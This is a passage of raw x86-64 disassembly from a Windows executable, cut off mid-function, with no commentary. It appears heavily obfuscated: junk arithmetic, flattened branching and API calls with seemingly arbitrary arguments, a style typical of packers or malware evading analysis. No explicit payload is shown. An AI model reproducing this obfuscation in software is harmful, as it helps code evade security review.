mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x59fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9970], eax
jmp case.0x14001b85d.65
mov edx, 0xae
lea rcx, [rsp + 0x4a6b0]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x12ce8], rax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9970]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
jmp case.0x14001b85d.65
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
movzx eax, byte [rsp + 0x728]
sub eax, 0x34
movzx ecx, byte [rsp + 0x729]
cmp eax, ecx
jge 0x14031e332
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12cf0], rax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x12cf8], rax
movzx eax, byte [rsp + 0x729]
sub eax, 0x8d
movzx ecx, byte [rsp + 0x728]
cmp eax, ecx
jne 0x14001bb1a
mov eax, dword [rsp + 0x9974]
mov rcx, qword [rsp + 0x12cf8]
mov qword [rsp + 0x12d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x729]
or eax, 0xd3
mov byte [rsp + 0x728], al
mov edx, 0xd4
mov ecx, 0x5d
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x12c98], rax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0xf
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9808]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
jmp 0x14001bcdd
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x5ad
jg 0x14001bb77
mov eax, 0x129
mov word [rsp + 0x2b78], ax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x12d08], rax
lea rax, [rsp + 0x9990]
mov qword [rsp + 0x12d10], rax
mov eax, dword [rsp + 0x59fc]
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x9808]
mov dword [rsp + 0x99b8], eax
jmp 0x14001bcdd
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x99b4]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9990]
mov edx, dword [rsp + 0x9950]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001bc1c
movsx eax, byte [rsp + 0x6f8]
add eax, 0x24
mov byte [0x140363edd], al
mov rcx, qword [rsp + 0x12d18]
call qword [sym.imp.GDI32.dll_WidenPath]
mov dword [rsp + 0x994c], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x59fc], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x99b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001bcdd
movzx eax, word [rsp + 0x2b78]
and eax, 0x971
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x99b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12c48]
call qword [sym.imp.USER32.dll_CharNextW]
mov qword [rsp + 0x12c50], rax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9990]
sar eax, cl
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x9990]
mov rcx, qword [rsp + 0x12d10]
mov qword [rsp + 0x12d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d20]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
or eax, 0x1d
mov byte [0x140363edd], al
lea rax, [rsp + 0x9970]
mov qword [rsp + 0x12d28], rax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov byte [rsp + 0x99bc], al
cmp byte [rsp + 0x99bc], 0x14
je 0x14001c333
cmp byte [rsp + 0x99bc], 0x15
je 0x14001c1c8
cmp byte [rsp + 0x99bc], 0x33
je 0x14001c28a
cmp byte [rsp + 0x99bc], 0x94
je 0x14001bd46
cmp byte [rsp + 0x99bc], 0xcd
je 0x14001c0d8
jmp 0x14001c43d
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov dword [rsp + 0x99c0], eax
mov eax, dword [rsp + 0x99c0]
sub eax, 0x2a
mov dword [rsp + 0x99c0], eax
cmp dword [rsp + 0x99c0], 0xc5
ja case.0x14001bdb5.50
movsxd rax, dword [rsp + 0x99c0]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x31ed04]
mov eax, dword [rcx + rax*4 + 0x31ece0]
add rax, rcx
jmp rax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov r8d, 0xd5
mov rdx, qword [rsp + 0x12d30]
mov rcx, qword [rsp + 0x12cd0]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov dword [rsp + 0x99a4], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
add eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b78]
and eax, 0xf5c
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001c0d3
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov edx, dword [rsp + 0x9970]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x14001bf3e
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x99b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x12ce0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x14001bf31
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
and eax, 0x68
mov byte [0x140363edd], al
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x9808], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x9990]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
sub eax, 0x21a
mov word [rsp + 0x2b78], ax
jmp 0x14001bf39
movzx eax, word [rsp + 0x2b78]
jmp 0x14001bff1
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
movzx ecx, byte [rsp + 0x729]
cmp eax, ecx
jle 0x14001bf80
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
add eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14001bff1
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x544
jl 0x14001bfaa
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
jmp 0x14001bff1
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x99b4]
mov rdx, qword [rsp + 0x12d10]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14001bff1
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
jmp 0x14001c0d3
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
jmp 0x14001c0d3
lea r9, [rsp + 0x12ca0]
lea r8, [rsp + 0x12c20]
lea rdx, [rsp + 0x9978]
mov rcx, qword [rsp + 0x12c58]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x99b0], eax
jmp 0x14001c0d3
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x9968]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001c0d3
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
jmp 0x14001c0d3
movzx eax, word [rsp + 0x2b78]
shl eax, 4
mov word [rsp + 0x2b78], ax
jmp 0x14001c0d3
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
sar eax, cl
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14001c0d3
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
jmp 0x14001c43d
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x59fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
lea r9, [rsp + 0x12ca0]
mov r8d, 0x12
mov edx, 0xff
mov rcx, qword [rsp + 0x12d38]
call qword [sym.imp.GDI32.dll_GetCharWidth32W]
mov dword [rsp + 0x994c], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9808]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x728], al
mov qword [rsp + 0x20], 0x99
mov r9, qword [rsp + 0x12d40]
mov r8, qword [rsp + 0x12c68]
mov rdx, qword [rsp + 0x12d30]
mov rcx, qword [rsp + 0x12d48]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x997c], eax
jmp 0x14001c43d
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
dec eax
mov byte [rsp + 0x6f8], al
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x997c], eax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x729], al
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea r8, [rsp + 0x2b74]
mov edx, 0xda
mov rcx, qword [rsp + 0x12d30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [rsp + 0x9978], eax
jmp 0x14001c43d
mov eax, dword [rsp + 0x9950]
movzx ecx, al
mov eax, dword [rsp + 0x59fc]
shl eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99b8]
shr eax, cl
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x99b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9950], eax
movzx eax, word [rsp + 0x2b78]
and eax, 0xf19
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14001c43d
mov dword [rsp + 0x28], 0xe8
mov dword [rsp + 0x20], 0xc1
lea r9, [rsp + 0x12c20]
mov r8d, 0x90
lea rdx, [rsp + 0x728]
mov rcx, qword [rsp + 0x12d50]
call qword [sym.imp.GDI32.dll_GdiGradientFill]
mov dword [rsp + 0x995c], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9808]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9950]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
add eax, 0x23
mov byte [rsp + 0x6f8], al
mov rdx, qword [rsp + 0x12cd8]
mov rcx, qword [rsp + 0x12d30]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [rsp + 0x9990], eax
movsx eax, word [rsp + 0x2b74]
add eax, 0x1a
mov word [rsp + 0x2b74], ax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x12d58], rax
movsx eax, byte [rsp + 0x6f8]
add eax, 0x13
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jge 0x14001c532
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov rdx, qword [rsp + 0x12c68]
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov byte [rsp + 0x729], al
jmp 0x14031e27a
mov eax, dword [rsp + 0x9974]
mov dword [rsp + 0x99c4], eax
cmp dword [rsp + 0x99c4], 0
je 0x14001c582
cmp dword [rsp + 0x99c4], 0x19ff
je 0x14031df2d
cmp dword [rsp + 0x99c4], 0x51c0
je 0x14031debd
cmp dword [rsp + 0x99c4], 0x5e35
je 0x14031e05e
jmp 0x14031e177
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99b4], eax
movzx eax, word [rsp + 0x2b78]
mov dword [rsp + 0x99c8], eax
cmp dword [rsp + 0x99c8], 0x7d4
jg 0x14001c612
cmp dword [rsp + 0x99c8], 0x7d4
je 0x14001c64a
cmp dword [rsp + 0x99c8], 0x129
je 0x14001c890
cmp dword [rsp + 0x99c8], 0x25a
je 0x14001cd69
cmp dword [rsp + 0x99c8], 0x469
je 0x14001d05b
cmp dword [rsp + 0x99c8], 0x64e
je 0x14001cf62
jmp 0x14001d0f1
cmp dword [rsp + 0x99c8], 0xa40
je 0x14001cdcf
cmp dword [rsp + 0x99c8], 0xb51
je 0x14001c7f2
cmp dword [rsp + 0x99c8], 0xf9e
je 0x14001c752
jmp 0x14001d0f1
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x9808]
movzx ecx, al
mov eax, dword [rsp + 0x99b8]
shl eax, cl
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x59fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x997c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov edx, 0x63
mov rcx, qword [rsp + 0x12c48]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x99cc], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
and eax, 0x10
mov byte [0x140363edd], al
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
sub eax, 0x429
mov word [rsp + 0x2b74], ax
jmp 0x14001d0f1
mov rcx, qword [rsp + 0x12c68]
call qword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [rsp + 0x9964], eax
movsx eax, byte [0x140363edd]
add eax, 0x6e
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9970]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001d0f1
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
shl eax, cl
mov byte [rsp + 0x728], al
mov rcx, qword [rsp + 0x12c28]
call qword [sym.imp.GDI32.dll_PathToRegion]
mov qword [rsp + 0x12d60], rax
movsx eax, byte [rsp + 0x6f8]
sar eax, 1
mov byte [0x140363edd], al
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x99b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001d0f1
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0x12d68], rax
movzx eax, word [rsp + 0x2b78]
or eax, 0x3c9
mov word [rsp + 0x2324], ax
movzx eax, word [rsp + 0x2b78]
imul eax, eax, 0xfe9
movzx ecx, word [rsp + 0x2324]
cmp eax, ecx
jle 0x14001ccb3
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x997c]
mov edx, dword [rsp + 0x9968]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14001c9ab
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
shl eax, cl
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov eax, dword [rsp + 0x9950]
mov rcx, qword [rsp + 0x12d10]
mov qword [rsp + 0x12d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d70]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9990], eax
mov r8d, 1
mov rdx, qword [rsp + 0x12d78]
mov rcx, qword [rsp + 0x12c68]
call qword [sym.imp.USER32.dll_GetNextDlgGroupItem]
mov qword [rsp + 0x12d78], rax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99b4], eax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x729]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
jmp 0x14001ccae
movzx eax, word [rsp + 0x2324]
or eax, 0x27e
movzx ecx, word [rsp + 0x2b78]
cmp eax, ecx
jge 0x14001c9da
movsx eax, byte [0x140363edd]
and eax, 0xf
mov byte [rsp + 0x6f8], al
jmp 0x14001ccae
movzx eax, word [rsp + 0x2b78]
imul eax, eax, 0xb39
movzx ecx, word [rsp + 0x2324]
cmp eax, ecx
je 0x14001ccae
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x12d80], rax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x12cf8]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
imul eax, ecx
movzx ecx, byte [rsp + 0x72a]
mov rdx, qword [rsp + 0x12d08]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
je 0x14001cbf6
lea rax, [rsp + 0x9808]
mov qword [rsp + 0x12d88], rax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x728]
movzx edx, byte [rsp + 0x729]
add ecx, edx
cmp eax, ecx
je 0x14001cb8a
mov eax, dword [rsp + 0x99b4]
movzx ecx, al
mov eax, dword [rsp + 0x9990]
shl eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x997c]
mov rcx, qword [rsp + 0x12d10]
mov qword [rsp + 0x12d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d90]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov dword [rsp + 0x38], 0xff
lea rax, [rsp + 0x12cb8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x12d98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x12c28]
mov r8d, 0x77
mov edx, 0x88
mov rcx, qword [rsp + 0x12c68]
call qword [sym.imp.USER32.dll_ScrollWindowEx]
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
or eax, ecx
mov byte [rsp + 0x72a], al
jmp 0x14001cbf1
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov edx, dword [rsp + 0x9970]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x14001cbd1
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
and eax, ecx
mov word [0x140352bcc], ax
jmp 0x14001cbf1
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
jmp 0x14001ccae
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
movzx ecx, word [rsp + 0x2324]
cmp eax, ecx
jne 0x14001cc35
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x9990]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001ccae
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x18b
jle 0x14001cc62
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
jmp 0x14001ccae
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
movzx ecx, word [rsp + 0x2324]
cmp eax, ecx
jl 0x14001ccae
lea r9, [rsp + 0x72a]
mov r8, qword [rsp + 0x12da0]
lea rdx, [rsp + 0x12d68]
mov ecx, 0x6f
call qword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov qword [rsp + 0x12da8], rax
jmp 0x14001cd64
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x99b4]
